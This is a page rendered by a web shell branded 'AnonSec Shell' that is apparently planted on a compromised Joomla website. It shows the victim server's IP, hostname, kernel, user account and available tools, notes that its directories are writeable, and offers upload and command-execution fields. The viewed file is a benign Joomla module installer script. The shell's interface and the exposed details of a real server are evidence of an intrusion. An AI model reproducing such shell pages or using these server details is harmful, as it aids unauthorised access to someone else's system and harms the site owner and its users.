AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/administrator/modules/mod_djc2menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/administrator/modules/mod_djc2menu/script.php
<?php

use Joomla\CMS\Factory;

class mod_djc2menuInstallerScript
{
    public function install()
    {
        $db = Factory::getDBO();
        $module = (object) [
            'title' => 'DJ-Catalog2 Menu',
            'position' => 'menu',
            'published' => 1,
            'client_id' => 1,
            'module' => 'mod_djc2menu',
            'access' => 1,
            'params' => '',
            'language' => '*',
            'publish_up' => Factory::getDate()->toSql(),
            'ordering' => 2,
        ];
        $db->insertObject('#__modules', $module);

        $menu = (object) ['moduleid' => $db->insertid(), 'menuid' => 0];
        $db->insertObject('#__modules_menu', $menu);
    }
}

Anon7 - 2022
AnonSec Team